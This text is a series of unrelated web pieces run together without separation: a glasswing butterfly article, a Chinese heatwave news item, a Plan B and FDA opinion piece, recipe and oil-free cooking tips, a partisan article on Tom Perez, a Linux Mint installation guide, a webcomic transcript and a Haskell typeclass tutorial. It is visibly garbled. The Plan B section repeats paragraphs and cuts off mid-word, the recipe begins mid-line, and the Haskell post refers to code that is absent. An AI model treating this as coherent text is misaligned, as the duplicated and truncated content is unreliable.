The adult glasswing butterfly can be identified by its transparent wings with opaque, dark brown borders tinted with red or orange. Their bodies are a dark brown color. The butterflies are 2.8 to 3.0 centimetres (1.1 to 1.2 in) in length and have a wingspan of 5.6 to 6.1 centimetres (2.2 to 2.4 in).[1][3]
Food resources [ edit ]
Caterpillar [ edit ]
Poisonous plants of the genus Cestrum provide the best source of nutrition for the caterpillar; experimental studies have shown that when larvae use other host plants, they often die in the first instar stage or develop more slowly.[4] The caterpillars feed on these toxic plants and are perhaps toxic to predators through secondary chemicals stored in their tissues. For example, the caterpillar chemical extracts are unpalatable to Paraponera clavata ants.[7]
Adult [ edit ]
The adult butterfly feeds mainly on the nectar of the flowers of the genus Lantana, which includes 150 species of perennial flowering plants.[1] They also eat flowers in the Asteraceae and Boraginaceae families and the droppings of insectivorous birds, absorbing amino acids that are later converted to proteins. Adult butterflies are also toxic due to the males consuming Asteraceae flowers whose nectar contains pyrrolizidine alkaloids.[7]
Migration [ edit ]
The glasswing butterfly is migratory and travels up to 12 miles (19 km) per day at speeds of up to 8 miles per hour (13 km/h). It migrates in order to change elevations, and this migration causes there to be population density differences in varying geographical areas.[1]
Predation [ edit ]
Birds are common predators of this butterfly. The glasswing combats predators by consuming toxins through plants of genus Cestrum and family Asteraceae in both the caterpillar and butterfly stages. Toxin consumption gives the butterfly a foul taste that discourages predation.[1]
Protective coloration [ edit ]
This butterfly utilizes its transparency to hide from predators by camouflaging into the background during flight. Transparency is a rare trait among Lepidoptera, since they more commonly use mimicry to ward off predators.[1][8]
Mating [ edit ]
This butterfly species mates polygynously, with males attempting to obtain one or more female mates per breeding season.
Lekking [ edit ]
In order to attract females, male butterflies form leks, or large gatherings where males compete for mates. They gather in shaded areas of the rainforest and competitively display themselves in order to attract mates.[9]
Pheromones [ edit ]
Male glasswing butterflies release pheromones during lekking in order to attract females. The pheromones produced are derived from pyrrolizidine alkaloids that the butterflies obtain through their diet of plants of the family Asteraceae. The alkaloids are then converted to pheromones through the formation of a pyrrole ring, followed by ester cleavage and oxidation.[9] Additionally, since the process by which the pheromone is produced is not only formed by butterflies and moths themselves, but also derived from plants, as with the glasswing butterfly, it is unlikely that the pheromone is used to distinguish between species.
Physiology [ edit ]
Wings [ edit ]
Glasswing butterfly wing nanopillars
The transparency of Greta oto’s wings results from the combination of several properties: wing material has a low absorption of visible light, there is low scattering of the light that passes through the wings, and there is low reflection of the light impinging on the wing's surface.[10] The latter occurs for a broad range of incident wavelengths, covering the entire visible spectrum, and all incidence angles. This broadband and omnidirectional anti-reflection property originates from nanopillars standing on the wing's surface which ensures a gradient of refractive index between the incident medium, air, and the wing's membrane.[8] These nanopillars, non-periodically arranged on the wing's surface, possess a high aspect ratio (defined as height divided by radius), where the radii are below the wavelengths of the visible light. Additionally, they feature a random height and width distribution, which is directly responsible for the smooth refractive index gradient and thereby for the broadband and omnidirectional anti-reflection properties. These properties are further improved by the presence of pedestals at the base of the nanopillars.[11] Additionally, the structure of the nanopillars allows for the wings to have a low roughness factor because of its tiny hair-like microtrichia features. This was experimentally tested through water droplet adhesion to the wings.[12]
Conservation [ edit ]
The following national parks of Costa Rica currently feature the glasswing butterfly and are working on their conservation: Guanacaste National Park, Rincón de la Vieja National Park, Monteverde Cloud Forest Reserve, Palo Verde National Park, Carara National Park, Poás Volcano National Park, La Selva Reserve and Biological Station, Juan Castro Blanco National Park, Irazú Volcano National Park, Chirripó National Park, and La Amistad International Park.[13]China weather authorities issued an extreme heat warning as dozens of burn injuries are reported due to the record-breaking temperatures continuing to plague southern and eastern China.
A recent victim, 77-year-old man surnamed Shen, suffered serious asphalt burns after he passed out unconscious while pedaling his tricycle and lay on a road for two hours in Yuyao, East China's Zhejiang Province before he was discovered.
Shen, who is currently receiving medical treatment at 113 Hospital of the People's Liberation Army for second- and third-degree burns over 22 percent of his body, Zhejiang-based Xiandai Jinbao reported on August 6.
Weng Xuhao, chief burn physician at the hospital, explained human skin burns upon touching surfaces over 45 C.
Other recent cases involve a man surnamed Li, 29, from Shandong Province who suffered second-degree asphalt burns on his feet after fighting with a driver while barefoot over a traffic accident Yiwu, Zhejiang Province on August 5, the Zhejiang-based Dushi Kuaibao reported.
According to the meteorological bureau in Yiwu, road surface temperatures reached 55.8 C on August 5.
The China Central Meteorological Center warns temperatures are reaching extreme levels, especially in South China, where seven provinces and municipalities including Hunan, Hubei and Chongqing may experience temperatures over 40 C over the coming days, CRI reported.
Web editor: [email protected] a while, Youtube aired a commercial for Plan B, and it inspired me whenever I saw it. “No one is going to get in my way,” one actress says decisively—“No one,” “No one,” “No one,” comes the chorus of women, each one more emphatic. At first, it might seem overly righteous for a subtext which basically suggests, “the condom broke.” But the commercial is actually the market’s bold stance against a long history of regulation surrounding contraception.
Plan B, or “the morning-after pill,” is a drug that can prevent pregnancy if taken within 3 days (72 hours) of an at-risk sexual encounter. It’s produced and marketed by Teva Pharmaceutical Industries and it was approved by the Food and Drug Administration (FDA) for use with a prescription in 1999. But since then, it’s been embroiled in government regulation. In 2006, Plan B became available over-the-counter, but not to young women under 18. In 2009, the FDA approved a new variety of Plan B called “One Step,” which condensed the drug into one pill rather than the two-pill process used previously. Also in 2009, the FDA approved “Next Choice,” a generic form of Plan B, which became available over-the-counter to women 17 or older, and with a prescription for anyone younger. 2011 was a setback year, with secretary of health and human services Kathleen Sebelius rejecting Plan B’s application for full over-the-counter status, without age restrictions.
In 2013, Plan B became available over-the-counter to women of all ages. But the FDA’s approval in 2013 included a deal with Teva Pharmaceuticals for the FDA to suppress competition from products like Next Choice by continuing to enforce age restrictions on the generic drugs. Just a few weeks ago, March 2, marked a new milestone in accessible contraception when the FDA reconsidered this deal and wrote a letter to Plan B’s generic competitors, finally allowing them to sell their product over-the-counter and without age restrictions, competing fully in the market alongside name-brand Plan B. In 2013, Plan B became available over-the-counter to women of all ages. But the FDA’s approval in 2013 included a deal with Teva Pharmaceuticals for the FDA to suppress competition from products like Next Choice by continuing to enforce age restrictions on the generic drugs. Just a few weeks ago, March 2, marked a new milestone in accessible contraception when the FDA reconsidered this deal and wrote a letter to Plan B’s generic competitors, finally allowing them to sell their product over-the-counter and without age restrictions, competing fully in the market alongside name-brand Plan B.
unknown risks the drug might have for young women’s bodies. (This is glaringly omitting the known risks pregnancy definitely has for young women’s bodies. Also omitted: that it’s immoral for anyone to use the force of government to control other people’s sexual health decisions.) As Cathy Reisenwitz points out at Sex and The State, “the war against reason and young women regarding access to reproductive healthcare has been perpetrated, counterintuitively, by both the left and the right.” Conservative opposition to Plan B was predictable—that it’s an abortion pill ( no ), that it promotes promiscuity ( no ), that it strips away the moral fabric of our country (? ), etc. But the democratic opposition was more unexpected. Democrat Secretary of Health and Human Services Kathleen Sebelius opposed open access to Plan B in 2011, and her decision was backed by Barack Obama. Obama cited parental concern for the safety of his daughters and therisks the drughave for young women’s bodies. (This is glaringly omitting therisks pregnancyhas for young women’s bodies. Also omitted: that it’s immoral for anyone to use the force of government to control other people’s sexual health decisions.)
Liberal feminists still aren’t identifying the actual problem: government power.
as such, to control the market and thus control women’s access to the products that can improve their lives. Left feminists Beyond left and right, though, the good guys and bad guys in the contraception battle are all mixed up. Liberal feminists with the best intentions for women’s reproductive freedoms still aren’t identifying the actual problem: government power. There isn’t enough criticism of the government’s authority,, to control the market and thus control women’s access to the products that can improve their lives. Left feminists laud each successive FDA decision as carrying out justice, forgetting that the FDA created the injustice in the first place. For its latest change-of-heart, allowing Next Choice to compete fully on the market, Jessica Arons, president of the advocacy group Reproductive Health Technologies Project, “ commend[s] the FDA… everyone deserves a second chance to get it right, including the FDA,” Arons said.
The FDA isn’t to be commended—it did nothing to add value, at any point. Teva Pharmaceuticals created a valuable product; a product that provides women with relief, control over their own reproduction, and a lifestyle with more possibilities and happiness than the experience of an unwanted pregnancy. The FDA obstructed women from this product for 15 years. That’s a window of time big enough to include two generations of unwanted teen pregnancies: scared young women who did not get their Plan B—their second chance—at a brighter, less fearful, less stressful adolescence. Their chance a life unmarked by either the massive commitment of having a child or the difficult decision of abortion. The FDA doesn’t need a second chance; it needs to be undermined, disobeyed, and abolished. The FDA isn’t to be commended—it did nothing to add value, at any point. Teva Pharmaceuticals created a valuable product; a product that provides women with relief, control over their own reproduction, and a lifestyle with more possibilities and happiness than the experience of an unwanted pregnancy. The FDA obstructed women from this product for 15 years. That’s a window of time big enough to include two generations of unwanted teen pregnancies: scared young women who did not get their Plan B—their second chance—at a brighter, less fearful, less stressful adolescence. Their chance a life unmarked by either the massive commitment of having a child or the difficult decision of abortion. The FDA doesn’t need a second chance; it needs to be undermined, disobeyed, and abolished.
ding by feminists of the differences between corporatism and capitalism. The power of the government to regulate business provides opportunities for companies like Teva Pharmaceuticals to exert control
|
/2 tsp salt Filling 6 Macintosh apples
1/4 cup honey
1 tbsp cinnamon
1 tsp vanilla extract
2 tbsp grass fed butter Instructions Preheat your oven to 425°F. We're going to make 2 pie crusts first. Melt your grass-fed butter (or coconut oil) and combine with your eggs and whisk. To that mixture, add your coconut flour and salt. At this point, you can use your hands to squeeze and mix the flour. Divide the dough in half and roll one half into a ball and start pressing and flattening it into a greased 9-inch pie pan. For the other half of your dough, you'll want to prepare a little work station for yourself to make the process easier. Put down some parchment paper or wax paper onto your counter and tape it down to prevent it from moving. Using a rolling pin, flatten the dough ball out to about a 1/4 inch thickness. It may help to rub some flour onto the rolling pin to prevent the dough from sticking to it. At this point, you can choose to cut it into strips or leave it as a whole sheet of dough. We'll come back to this top later. Onto the filling! Peel, core and slice your apples into your preferred size pieces. You can keep them extra chunky, cut them up a bit into small cubes or slice them thinly for a more packed pie. We decided to cut into small chunks. We used our apple slicer which cores and slices at the same time! In a bowl, toss your apple bits with cinnamon, vanilla extract and honey. You can also add nutmeg, cloves, or any flavors you want here. Make sure all the apples are covered in your sweet mixture. Pour (or nicely arrange) the apples onto the crust lined pan. Place a few cubes of butter (if using butter) on top to help moisten and brown the filling. Cover the pie with your rolled out dough. If you're weaving it, watch this tutorial first for a basic lattice weave. Or place the entire flattened piece on top of your filling and seal up the edges by pinching them. If you're using the coconut flour crust, prepare for it to be crumbly. We highly suggest slipping a thin, flexible cutting board under the dough and transferring it by carefully nudges the entire piece to slip onto the top of the pie. The struggles of gluten-free pie making... Slice a few slits on the top dough to let the pie let some steam out in the oven. Separate an egg and whisk the white a bit. Then using a kitchen brush, brush some onto the entire top crust. This will let your crust develop a beautiful golden brown color while baking. Optional: sprinkle some granulated coconut sugar on top to give it some sparkle. Put the pie in the oven at 425°F for 15 minutes. Then lower the temperature to 350°F and continue baking for about 40 minutes. You'll know your pie is done when you insert a knife into one of the slits and you meet no resistance. The apples inside should be very soft. Once your pie is done, let it cool until just slightly warm. Serve it with a scoop of paleo ice cream and whipped cream! Tasteaholics, Inc. is a participant in the Amazon Services LLC Associates Program, an affiliate advertising program designed to provide a means for sites to earn advertising fees by advertising and linking to Amazon.com.
Loved this recipe? Let us know! Something didn’t quite turn out right? Ask us in the comments below or contact us– we respond to comments every day and would love to hear from you and help you out! And check out all our keto recipes to learn to make more delicious and healthy meals!The thought of cooking without oil can be a little mind-bending if you haven’t done it. The mere suggestion to chuck the oil from the kitchen (and the body) usually elicits the responses, “What do you mean?” and “Why?” Because most of us have never heard that oil was harmful to health and because we have consumed it nearly every day of our lives, it can be hard to fathom living without it.
“But what about olive oil?” Whether it is olive oil, canola, corn, flax or any other kind of oil, as a category, oil has some major negatives going for it. For one, oil is very high in calories, about 120 per tablespoon; compare this to maple syrup (52), balsamic vinegar (14), soy milk (8), vegetable broth (2), and water (0).
For the whole scoop on why oil is not healthy, see my article “Why Go SOS-Free.” Basically, we want to consume fats that are still in their natural packaging—in the whole food—not fats that have been overly processed into an oil, a substance that our body, given the choice, would say “No thank you” to. Here are a few suggestions that will help you to enjoy your food without the use of oil:
Vegetables: When you are sautéing vegetables on the stovetop, simply replace the oil you normally use with water or vegetable broth. You can use other liquids too, but these are the most common oil replacements for sautéing. Vegetables naturally have a lot of water in them, which releases when they are cooked, so this is why we only need to add a small amount of water or broth. Just keep an eye on your pan so that your vegetables don’t stick; I keep a glass of water nearby so I’m ready.
Your food can quickly stick or burn if all the water cooks off and you are not paying attention. When sautéing vegetables like onions, celery, mushrooms, and bell peppers, heat up your skillet or pot (non-stick or stainless steel) with a couple tablespoons of water in the bottom, and when it starts to crackle, add the vegetables, keeping them moving with a wooden spoons for a few minutes until they soften. Sautéing allows the natural sugars to release and intensify. The nice thing about sautéing in water or broth is that you end up tasting more of the food instead of the oil.
If you are roasting or baking vegetables, you also do not need to use oil. We have been taught that we need to first coat chopped vegetables, French fries, tofu, tempeh, etc. in oil, or in an oil-based marinade, but the oil is simply not necessary. These foods will still cook, and if left in long enough, they will lightly brown. Depending on what you are baking, a little crispiness can be achieved if that is your goal (with something like fries).
Baked Goods: Oil can be replaced in many different ways for baked goods. Oil gives baked goodies a rich taste and also acts as an emulsifier and softener. Instead of oil, use other moist foods, such as bananas, apples/applesauce, soaked dried fruit (like raisins or prunes), dates and tofu. In my cornbread recipe, I use cooked quinoa and banana to provide moistness instead of oil. It takes a bit of practice to determine how much banana, for example, replaces the amount of oil called for in a recipe, but if you keep notes as you go, you can adjust as needed next time. If you don’t want to figure out your own oil conversions in recipes, check out the “Big Oil” post mentioned above to find many plant-based recipe sites that do not use oil.
In preparing your pans for baking cakes, breads, or cookies, you can use parchment paper instead of oil. Parchment is a silicone-coated paper that nothing sticks to and it is disposable. (It’s different than wax paper but is found close to it in your grocery store.) Or you can use silicone bakeware, which is food-grade and safe to use; bread and cupcakes just pop right out of loaf and muffin pans. Silicone baking mats are also available; these are useful for flat baking (cookies and also for roasting vegetables). Both the silicone bakeware and the mats are washable and reusable.
Salad Dressing: For salad dressings, if I am following a recipe, I will simply omit the oil altogether and leave it at that, or then add a little water or juice to make up for the lost volume. Oil and vinegar as a dressing is so traditional, it may be hard to imagine a salad without the oil, but I think you may grow to appreciate the cleaner, fresher taste of the vegetables and greens without the slipperiness.
For quick homemade dressings without oil I like to use prepared mustard, vinegar, water, or juice (lemon, grapefruit, lime, apple, carrot, celery), and if I will be making a blended dressing, I’ll add in some soft fruits or vegetables, such as strawberries, cucumbers, or mango. For creamy dressings, a little tofu, avocado or soaked nuts may be added, however go light on these since these are much higher in calories than vegetables and fruits. A tablespoon or two of minced fresh herbs (basil, cilantro, parsley) are also a tasty addition to homemade salad dressings.
If you’re interested in seeing how oil is made, check out this three-minute video from Science TV’s, “How It’s Made” (<ahref=”http://bit.ly/LLymgU”>http://bit.ly/LLymgU). I recently watched this video on canola oil and couldn’t believe how many steps it takes to make it. By the end I would have a hard time calling this food.
It will take a little time for your taste buds to adjust to no oil, maybe a couple weeks to a month; but give those buds time, they will come around. As someone who does not cook with oil at all nowadays, when I do have a little, it tastes, and feels, somewhat overwhelming, and I don’t care for it. Cheers to you for bidding goodbye to oil! If you have a tip or suggestion for substituting oil, please share it below.On Saturday, Hillary Clinton’s wing of the Democratic Party won yet another rigged election over the Bernie Sanders wing of the party with the selection of Thomas Perez, former Obama Labor Secretary, to head the Democratic National Convention. Many of the more radical Democrats were quite upset with Perez’s selection, hoping for a militant move to the left.
Here’s what you need to know.
1. It Was a Close Race. Perez only won on the second ballot, an unusual development in a race among only 435 voters. Perez only won 235 of those votes on the second ballot; supporters of Rep. Keith Ellison (D-MN), who had a good deal of support despite his history of anti-Semitism, stormed out of the room chanting, “Party for the people, not big money!” Ellison himself ended up as deputy party chair, a ceremonial position, and asked for unity in the party.
2. Perez Won’t Work With Trump. The Democratic Party has no intention of working with President Trump. Perez’s first words after winning: “Someday, they’re going to study this era of American history. They’re going to ask the question of all of us: Where were you in 2017 when we had the worst president in the history of the United States? We will be able to say that the Democratic Party led the resistance and made sure this was a one-term president.”
3. President Obama Was Pleased. The ex-president signaled his approval in a statement: “I know that Tom Perez will unite us under that banner of opportunity, and lay the groundwork for a new generation of Democratic leadership for this big, bold, inclusive, dynamic America we love so much.”
4. Bernie Sanders Wasn’t. Here was the near-octogenarian socialist’s response: “[It is] imperative that Tom understands that the same-old, same-old is not working and that we must open the doors of the party to working people and young people in a way that has never been done before.”
5. Perez Was Assistant Attorney General For The Civil Rights Division Under Obama. This meant working under Eric Holder. There, he presided over the decision by the Obama Justice Department not to prosecute the New Black Panthers for obvious voter intimidation during the 2008 election. J. Christian Adams, a lawyer who worked with Perez, says that Perez is a “utopian. I’ve sat in rooms with him listening to his progressive vision of a future free from everything he dislikes. He is a true believer that the government can force the transformation of a culture and a society for good.”
6. Perez Is An Open-Borders Fanatic. Here’s Adams again: Perez served “many years as a board member and president of the Soros-funded open-borders pusher, Casa de Maryland…[he also served for] two years as “immigration advisor” and special counsel to the late Ted Kennedy, the chief architect of the disastrous immigration system we have today.”
7. Perez Loves Race-Based Politics. According to the Wall Street Journal, Perez is a “champion of disparate-impact theory, which purports to prove racial discrimination by examining statistics rather than intent or specific cases.” Under Perez’s tenure at the DOJ, he attempted to threaten lawsuits against a series of banks not by proving racism, but by showing that a disproportionate number of minorities had been denied loans.
And Perez was the moderate in the race.
Perez’s pick is a far better one for the Democrats than Ellison – he knows his business, he’s an organizer, and he isn’t likely to offend some of the Democrats’ core constituencies the way Ellison would have. But he’s going to have to bridge some gaps in the party in order for the party to be competitive in 2018 and 2020.Video: Linux Mint is a breeze. Here's out top tips
I think Linux Mint isn't just a great desktop, it's a great replacement for Windows. With Windows security problems such as WannaCry, people are starting to explore alternatives to Windows.
Read also: Installing Linux on your PC is super easy - here's how to do it
I got a number of requests about switching out from Windows to the latest and best Linux. For me and many other experienced Linux users, that's Linux Mint 19. You don't need to be a Linux expert to install Mint on a Windows PC. Here's how to do it.
(Image: ZDNet)
Download Mint
First, you can -- and should -- try Linux Mint before switching to it. Fortunately, unlike other operating systems, Linux distros like Mint make it easy to give them a test run before installing it.
Read also; How do you fix Windows dual-booted with Linux Mint? - TechRepublic
To do this, first you'll need to download a copy of Linux Mint, which comes with three different desktops: MATE, Xfce, and its default desktop, Cinnamon. If you have a 2012-or-newer PC, I recommend you download the 64-bit version of Mint with Cinnamon and multi-media support.
Ready your tools
If you don't have an ISO burner program, download one. I recommend freeware programs ImgBurn for optical drives and Yumi for Windows for USB sticks. Other good choices are LinuxLive USB Creator and UNetbootin. These are also free programs.
Read also: Dumping Windows and installing Linux Mint, in just 10 minutes
Unless you're stuck with an older PC that won't boot from a USB stick, I strongly recommend using a USB flash drive. You can run Linux from a DVD, but it's very slow.
At 1.5GB, the Mint download might take a while, so be ready for a wait.
Giving Mint a try
Once you've installed the burner program and have the latest Linux Mint ISO file in hand, use the burner to put the ISO image to your disc or USB stick. If you're using a DVD -- Mint is too big to fit on a CD -- check your newly burned disc for errors. Over the years, I've had more problems with running Linux and installing Linux from DVDs from bad discs than all other causes combined.
You can set it up a USB stick with persistent storage. With this, you can store your programs and files on the stick. This way you can carry Linux and use it as a walk-around operating system for hotel, conference, and library PCs. I've found this to be very handy and there's always at least one Linux stick in my laptop bag.
Next, you place your disc or USB stick into your PC and reboot. During the reboot, stop the boot-up process and get to your PC's UEFI or BIOS settings. How you do this varies according to the system.
Look for a message as the machine starts up that tells which key or keys you'll need to press in order to get to the BIOS or UEFI. Likely candidates are a function key or the "esc" or "delete" keys. If you don't spot it the first time, don't worry about it. Just reboot and try again.
Read more: Six Clicks: Linux Mint tips and tricks
Once you get to the BIOS or UEFI, look for a menu choice labeled "Boot," "Boot Options," or "Boot Order." If you don't see anything with the word "boot" in it, check other menu options such as "Advanced Options," "Advanced BIOS Features," or "Other Options." Once you find it, set the boot order so that instead of booting from the hard drive first, you boot from either the CD/DVD drive or from a USB drive.
Once your PC is set to try to boot first from the alternative drive, insert your DVD or USB stick and reboot. Then, select "Start Linux Mint" from the first menu. And, from there, you'll be running Linux Mint.
Some Nvidia graphics cards don't work well with Mint's open-source driver. If Linux Mint freezes during boot, use the "nomodeset" boot option. You set this to the Start Linux Mint option and press 'e' to modify the boot options. Then, replace "quiet splash" with "nomodeset" and press F10 to boot. On older PCs using BIOS, press 'tab' instead of 'e.'
Mint will run slower this way, but it will boot and run. If you decide to install Mint, you can permanently fix the problem with the following steps:
Run the Driver Manager
Choose the NVIDIA drivers and wait for them to be installed
Reboot the computer
So far, you haven't installed anything on your PC, but you will be running Mint. Use this opportunity to play with Mint to see if you like it.
Using a DVD drive Mint will run slowly, but it will run quickly enough to give you an idea of what it's like to use Mint. With a USB stick, it runs fast enough to give you a good notion of what working with Mint is like.
Installing Linux and dealing with Secure Boot
Let's say you like what you see. Now, you're ready to install Mint.
First, make a complete backup of your Windows system. Installing Linux in the way I'm going to describe shouldn't hurt your Windows setup at all, but why take any chances?
Read also: What's the most popular Linux of them all?
It used to be that installing Linux on Windows PCs with UEFI and Secure Boot was a major pain. It can still be an annoyance, but Ubuntu and Mint have made booting and installing with Secure Boot system a non-issue. All pre-built binaries intended to be loaded as part of the boot process, with the exception of the initrd image, are signed by Canonical's UEFI certificate, which is implicitly trusted by being embedded in the Microsoft signed shim loader.
If for some reason you can't install Mint with Secure Boot running on your PC, you can always turn off Secure Boot. There are many ways to switch Secure Boot off. All involve going to the UEFI control panel during the boot process and switching it off.
Starting your Linux Mint installation
Next, make sure your PC is plugged in. The last thing you want is to run out of battery power during an operating system install! You'll also need an internet connection and about 8GBs of free drive space.
That done, reboot into Linux again. Once you have the Mint display up, one of your icon choices on the left will be to install Mint. Double-click it and you'll be on your way.
Read also: The most popular Linux desktop programs are...
You'll need to walk your way through several menu choices. Most of these decisions will be easy. For example, the language you want Mint to use and your time zone. The one critical choice will be how to partition your hard drive.
The rising tension between IoT and ERP systems The Internet of Things is the new frontier. However, generations of ERP systems were not designed to handle global networks of sensors and devices. Read More
Partitioning a hard drive can become very complicated, but fortunately, there's an easy choice that will let you dual-boot both Windows and Mint. Simply pick the first option on the Installation Type menu: "Install Linux Mint alongside them."
This procedure will install Linux Mint next to your existing Windows system and leave it totally untouched. When I do this, I usually give half my PC's remaining drive space to Mint. You'll be asked to choose which operating system you want to boot by default. No matter which one you pick, you'll get a few seconds to switch to the other operating system.
You'll also be required to give your system a name; pick out a username for yourself, and come up with a password. You can also choose to encrypt your home directory to keep files relatively safe from prying eyes. However, an encrypted home directory slows systems down. It's faster, albeit counterintuitive, to encrypt the entire drive after you have Mint up and running.
Mint 19's new setup menu enables you to automatically run several processes. These are to set up a system snapshot with Timeshift. This way, if something goes wrong later, you can restore your system files and get back to a working system. While you're at this, set up a regular Timeshift schedule.
Next, you can have it check to see if your computer needs any additional drivers. I highly recommend you run this. After this, you can choose to install proprietary multimedia codecs such as drivers to watch DVDs. I think you should do this, as well.
You should also set it to update your system to the latest software. Unlike Windows, when you update Mint, you're updating not just your operating system but all the other programs such as the default web browser, Firefox; office-suite, LibreOffice; and any other programs you've installed from Mint's Software Manager.
Read also: Linux Mint announces Mintbox Mini 2 tiny desktop PC
To do this manually, click on the shield icon in the menu bar. By default in the Cinnamon desktop, the bar will be on the bottom part of the screen and the icon will be on the right. It will then prompt you for your password and ask if you really want to update your system. Say yes, and you'll be ready to give your new Mint system a real try out.
The setup routine also offers to let you look at system settings and find new programs with the Software Manager, but since you're probably a new user, you can skip those for now.
That's all there is to it. I've installed Linux hundreds of time, and it usually takes me about an hour from starting my download -- the blessings of a 400Mbps internet connection -- to moving from booting up to customizing my new Mint PC. If you've never done it before, allow yourself an afternoon or morning for the job.
Have fun, get work done, and enjoy.
Related stories:Today’s strip is fairly autobiographical. It actually went up a little late because I was drugged out on pain pills from a root canal. It’s amazing what pain can do to a good-hearted person. The type of mean it can bring out. And then there are people like me who don’t need an excuse to be mean. I suppose such pain reaffirms out meanness was right to begin with.
↓ Transcript KLOWNUS: What's wrong with him?
HOBO: Root canal.
KLOWNUS: Are you in pain?
EVIL BEARD: I am so far beyond pain that I no longer ask to be saved from it. I now ask that all others suffer along with me in my eternal torment!
KLOWNUS: Yikes!
HOBO: At least he's in the holiday giving spirit.One of the most common gripes people have when learning Haskell is the fact that typeclass “laws” are only laws by convention, and aren’t enforced by the language and compiler. When asked why, the typical response is “Haskell can’t do that”, followed by a well-intentioned redirection to quickcheck or some other fuzzing library.
But, to any experienced Haskeller, “Haskell’s type system can’t express X” is always interpreted as a (personal) challenge.
GHC Haskell’s type system has been advanced enough to provide verified typeclasses for a long time, since the introduction of data kinds and associated types. And with the singletons library, it’s now as easy as ever.
(The code for this post is available here if you want to follow along!)
Semigroups
Let’s start simple – everyone’s favorite structural addition to magmas, semigroups. A semigroup is a type with an associative binary operation, (<>) :
Its one law is associativity:
But, this class stinks, because it’s super easy to write bad instances:
This instance isn’t associative:
But if you try to compile it, GHC doesn’t complain at all. Is this an error on the part of Haskell? Not quite; it’s an error on the part of the Semigroup typeclass not requiring proofs that the instance is indeed associative.
Let’s try again.
Verify me, Captain
We will now define Semigroup on the kind List, using -XDataKinds, instead of the type.
Now, <> exists not as a function on values, but as a function on types. %<> is a function that performs <> at the value level, written to work with singletons representing the input types, so that GHC can verify that it is identical to the type family <>. (it’s 100% boilerplate and should pretty much exactly match the <> type family). Finally, appendAssoc is a proof that the type family <> is associative, using :~: (type equality witness) from Data.Type.Equality.
This means that, if a type is an instance of Semigroup, it not only has to provide <> / %<>, but also a proof that they are associative. You can’t write the full instance without it!
Semigroup is a “kind-class”, because it is a bunch of methods and types associated with a certain kind. Which <> is dispatched when you do something like x <> y depends on the kind of x and y. GHC does “kind inference” and uses the <> corresponding to the kinds of x and y.
Using the SingKind typeclass from the singletons library, we can move back and forth from Sing x and x, and get our original (value-level) <> back:
Now, let’s write the instance for List. First, we need to define the singletons:
Then, we can define the instance, using the traditional (++) appending that lists famously have:
Like I promised, %<> is a boilerplate re-implementation of <>, to manipulate value-level witnesses. appendAssoc is the interesting bit: It’s our proof. It reads like this:
And, we’re done!
Note that if you had tried any non-associative implementation of <> (and %<> ), GHC would reject it because you wouldn’t have been able to write the proof!
Automatic Singletons
Deriving Sing and SingKind and both versions of <> is kind of tedious, so it’s useful to use template haskell to do it all for us:
The boilerplate of re-defining <> as %<> goes away!
And now, we we can do:
Ta dah!
Naturally, Maybe
Now that we have our basic infrastructure, let’s implement some other famous semigroups:
First, the inductive nats, data N = Z | S N:
And the standard instance for Maybe, which lifts the underlying semigroup:
Going Monoidal
Of course, we can now introduce the Monoid typeclass, which introduces a new element empty, along with the laws that appending with empty leaves things unchanged:
Because working implicitly return-type polymorphism at the type level can be annoying sometimes, we have Empty take the kind a as a parameter, instead of having it be inferred through kind inference like we did for <>. That is, Empty (List a) is Empty for the kind List a.
As usual in Haskell, the instances write themselves!
Play that Funcy Music
How about some higher-kinded typeclasses?
Fmap a b g x maps the type-level function g :: a ~> b over x :: f a, and returns a type of kind f b. Like with Empty, to help with kind inference, we have Fmap explicitly requre the kinds of the input and results of g ( a and b ) so GHC doesn’t have to struggle to infer it implicitly.
And, of course, along with sFmap (the singleton mirror of Fmap ), we have our laws: fmap id x = x, and fmap g (fmap h) x = fmap (g. h) x.
But, what are a ~> b, IdSym0, :.$, and @@? They’re a part of the defunctionalization system that the singletons library uses. A g :: a ~> b means that g represents a type-level function taking a type of kind a to a type of kind b, but, importantly, encodes it in a way that makes Haskell happy. This hack is required because you can’t partially apply type families in Haskell. If g was a regular old a -> b type family, you wouldn’t be able to pass just g into Fmap a b g (because it’d be partially applied, and type families always have to appear fully saturated).
You can convert a g :: a ~> b back into a regular old g :: a -> b using Apply, or its convenient infix synonym @@, like g @@ (x :: a) :: b
The singletons library provides type family Id a where Id a = a, but we can’t pass in Id directly into Fmap. We have to pass in its “defunctionalized” encoding, IdSym0 :: a ~> a.
For the composition law, we use (:.$) (which is a defunctionalized type-level. ) and apply it to g and h to get, essentially, g :. h, where :. is type-level function composition.
Now we Haskell.
And there you have it. A verified Functor typeclass, ensuring that all instances are lawful. Never tell me that Haskell’s type system can’t do anything ever again!
Note that any mistakes in implementation (like, for example, having mapOption _ _ = None ) will cause a compile-time error now, because the proofs are impossible to provide.
As a side note, I’m not quite sure how to implement the value-level fmap from this, since I can’t figure out how to promote functions nicely. Using sFmap is the only way to work with this at the value level that I can see, but it’s probably because of my own lack of understanding. If anyone knows how to do this, please let me know!
Anyway, what an exciting journey and a wonderful conclusion. I hope you enjoyed this and will begin using this in your normal day-to-day Haskell. Goodbye, until next time!
Just one more
Hah! Of course we aren’t done. I wouldn’t let you down like that. I know that you probably saw that the entire last section’s only purpose was to build up to the pièce de résistance: the crown jewel of every Haskell article, the Monad.
To help with kind inference, again, we provide explicit kind arguments for Return (the kind of the thing that is being lifted) and Bind (the original a and the resulting b ).
Some boilerplate exists there at the bottom — it’s the plumbing for the defunctionalization system. returnIdentRight requires a defunctionalized version of Return, so we can provide that by defining ReturnSym0, and writing an Apply instance for it (which “applies” it the parameter x ).
We introduce KComp (kleisli composition) and its defunctionalized version in order to express the third law, because we don’t yet have type-level lambdas in Haskell. The actual function it is expressing is \x -> f x >>= g, and that definition is given on the type KComp a b c... = Bind... line. KCompSym2 is the defunctioanlized version, which is not a a -> f c but rather an a ~> f c, which allows it to be partially applied (like we do for composeBind ). And, finally, to hook all of this up into the defunctionalization system, we write an Apply instance yet again.
And, again, if anyone knows how I can write a value-level Bind, I’d definitely appreciate hearing!
Let’s see some sample implementations.
Here we use unSingFun1, which converts a singleton of a type-level function into a value-level function on singletons:
The crux is that, given a Sing (f :: a ~> b) and a Sing (x :: a), we can “apply” them to get Sing (f @@ x :: b)
The proofs for the list instance is admittedly ugly to write, due to the fact that List is a recursive type. It’s also tricky because Haskell has poor to little support for theorem proving and no real tools to help you write them efficiently. But, the proofs for Option are really something, aren’t they? It’s kind of amazing how much GHC can do on its own without requiring any manual proving on the part of the user.
Disclaimer
